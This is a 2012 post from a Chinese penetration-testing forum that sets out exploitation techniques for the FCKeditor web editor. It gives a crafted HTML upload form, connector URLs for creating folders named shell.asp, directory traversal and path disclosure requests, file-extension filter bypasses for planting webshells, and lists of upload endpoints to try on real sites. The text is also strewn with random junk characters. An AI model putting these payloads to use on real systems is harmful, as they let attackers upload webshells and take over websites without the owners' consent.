中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]
作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  
2 J, e4 |( C* b- C. |! f查看编辑器版本
! _- L: a9 b: Q$ M7 s1 qFCKeditor/_whatsnew.html
9 c% V: K( o0 S" ?, C5 b4 n—————————————————————————————————————————————————————————————/ X+ u  \* ^( S% T* z& B
  F: i( `7 z% g. h7 `7 p/ r9 G7 D
2. Version 2.2 版本
4 v4 H6 X/ d& N" S0 I/ q1 h8 oApache+linux 环境下在上传文件后面加个.突破！测试通过。
6 y+ I! ~7 q) p% M, @, O—————————————————————————————————————————————————————————————
! L3 m6 `7 K% d# Q- t* O
* R2 K9 Y$ w7 j. Y  Z3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。1 I4 T" _% K# a
<form id="frmUpload" enctype="multipart/form-data"0 r. X4 e9 {; t1 w
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
& x- \% Z% R$ b/ p& k$ N4 K<input type="file" name="NewFile" size="50"><br>
& p$ y0 B6 R# V<input id="btnUpload" type="submit" value="Upload"># C; B" A( {- ~! Y' I3 y8 @  W
</form>
$ Z0 e/ s  t" K: y3 e—————————————————————————————————————————————————————————————6 X% Z1 d! O8 @' S& u( R

# [  Z& u5 E. E/ T4.FCKeditor 文件上传“.”变“_”下划线的绕过方法4 d# a0 W+ |! l1 z0 s
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。9 |: f1 s# `# L! O5 p
    4.1：提交shell.php+空格绕过" V3 \3 S/ B% I! _
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
8 Q2 a1 v' |' f    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
" Y9 \- `$ o0 i# `; v0 i—————————————————————————————————————————————————————————————3 A% [# R5 W- _5 G$ L6 Z* L! v) N

8 t: R  w$ W# Y4 T5. 突破建立文件夹7 W8 Z4 S5 ]* ~( E  P/ ]" u  g7 K
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
7 @: F3 Z' H9 NFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp, _8 N0 F! J3 |. Q/ c1 L2 I8 m
—————————————————————————————————————————————————————————————; D4 H. ?* X: T* d( J0 u
( Y$ U2 _% }1 o$ J2 `
6. FCKeditor 中test 文件的上传地址  U" V% q. a8 j5 \5 z' Y, H. F
FCKeditor/editor/filemanager/browser/default/connectors/test.html6 a, l. J$ \; d6 c
FCKeditor/editor/filemanager/upload/test.html
1 }& t: [8 O* M) h4 G/ aFCKeditor/editor/filemanager/connectors/test.html- T9 d3 b$ u; T
FCKeditor/editor/filemanager/connectors/uploadtest.html; W. m& N1 K+ {4 p$ `+ n  p& M
—————————————————————————————————————————————————————————————) c! k. T( O% h- P7 t* h, |" S8 J
1 i" B! a1 q- W8 V. F  _  i
7.常用上传地址
# L! l4 D  R, ^* e7 qFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/- {% [; R  K. l8 l1 R. c2 o' ~+ i
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
- M* Z' |2 g8 S2 u! @FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
  n$ O7 @- I5 uJSP 版：
9 h- G3 K1 G+ U0 L% Q" `FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
: v$ e1 J' f7 f注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文: C+ |0 l  D) a3 d0 J9 e
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
) z% a$ K( U9 e  V8 |/ d+ g" i—————————————————————————————————————————————————————————————
7 P5 y$ k1 ~$ V: `$ f; e+ d2 i& X9 A4 r
8.其他上传地址; N# I( w6 Z& Z5 D3 J  f; T2 t
FCKeditor/_samples/default.html( p% x3 D6 B6 \) j
FCKeditor/_samples/asp/sample01.asp
  Q% Z3 S  r8 wFCKeditor/_samples/asp/sample02.asp
8 Z3 n6 }7 H+ _3 C; V6 O3 F4 A9 E! lFCKeditor/_samples/asp/sample03.asp2 y! c( ~; d( [. T
FCKeditor/_samples/asp/sample04.asp
6 x  \3 v2 V& }& p一般很多站点都已删除_samples 目录，可以试试。
2 D! l2 j7 x& M" k0 c6 rFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。& n% A8 g: [- c* ~1 `
—————————————————————————————————————————————————————————————
1 b+ u) I6 x) W  t9 w
# C& H0 z: S9 n4 Q9 \: e% f8 x9.列目录漏洞也可助找上传地址3 ^6 ~: N* m' t! E% M! O; e
Version 2.4.1 测试通过! Q6 f+ F& v, h% B* p) w; f
修改CurrentFolder 参数使用 ../../来进入不同的目录! f# m5 s4 p4 [% t. R1 g- p6 }
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp8 I% ]  V+ n( n, i5 s
根据返回的XML 信息可以查看网站所有的目录。
7 `- Y6 j% r% T! yFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F) k- ?) S9 m5 x3 y
也可以直接浏览盘符：
! _* M$ o  ]- a; \JSP 版本：
- G% F4 o9 G! gFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F. J# c# y+ I- d1 v
—————————————————————————————————————————————————————————————& {& U; ?0 }% y: h
' f# {- ?* |3 Q4 X2 i- X
10.爆路径漏洞
, ]. l6 B. B( w5 G5 RFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp- R- ?) A& }: k- ~6 N6 ~
—————————————————————————————————————————————————————————————6 G, q6 d  Y8 M
& g- I& w1 R4 J" j" A0 D
11. FCKeditor 被动限制策略所导致的过滤不严问题
; ]: q2 N9 `/ G! D9 \        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
; @% M; W7 y, R% T5 D, X+ S" b脆弱描述：& u6 e% _" g1 `  E
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
" v! `9 O3 H: C7 Y1 Yhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm; n% D2 F  g2 Y% l3 K
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!+ O" K5 @9 Y! N8 C% C
        而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
! T/ O0 N6 e* y% M7 X        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!" M. K+ H# G& l* j6 W6 E) K2 H
—————————————————————————————————————————————————————————————2 b& X  l5 v0 Z
3 d% E" [. |2 L% Z& Z
12.最古老的漏洞，Type文件没有限制！& E# Z2 t/ C  u7 G* P/ {
        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！   u0 _! l7 O. ?
—————————————————————————————————————————————————————————————, m) J+ l1 H& e9 ]

/ z! y# R: }5 T8 v===============================================================================================================================================  q7 O7 `0 [- H' ^4 c' w. K
2 i5 r, [" [0 r' y  A5 U4 K
FCK编辑器jsp版本漏洞：
$ r2 g, `# E. n# c6 \0 c# X1 X" H4 m6 i* S' w$ u

/ a3 c4 ~4 {0 ^9 p' Q, dhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F$ C8 q5 L( O) o0 d& S
; ?% j' Q# Y* x# g1 g/ }7 n
上传马所在目录$ B* A. j7 `* |
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
2 e6 F4 Q# l3 I* H: k% w9 y上传shell的地址:: M# f# z9 F! e0 }3 Y0 R4 q' U
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector1 f- X, H- B4 b! ~. J4 t) s0 T
跟版本有关系.并不是百分百成功. 测试成功几个站.
) I6 [$ F7 s, u: Q不能通杀.很遗憾.
2 r6 ?5 {% [3 S: _! x" nhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
+ Z; P1 j0 g* Y# e4 N如果以上地址不行可以试试& |: z4 G% W7 \; S' }( `2 h( n% Q
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
0 v2 m9 N0 {* \FCKeditor/_samples/4 |: h! s8 U( |, F8 ]0 s/ B
FCKeditor/_samples/default.html0 u' b. w: \- Z/ Y
FCKeditor/editor/fckeditor.htm, g1 x9 v" V) R3 k0 b# d3 {3 c
FCKeditor/editor/fckdialog.html3 d- o, b& O& I0 r" ?
! G) O& ~% k  ?: d
' n. x4 Z) j. j  C4 a  ?
0 P  z1 [/ P) s3 ~) v
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg$ x/ ~+ K* n+ ^- e6 z" h" q




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2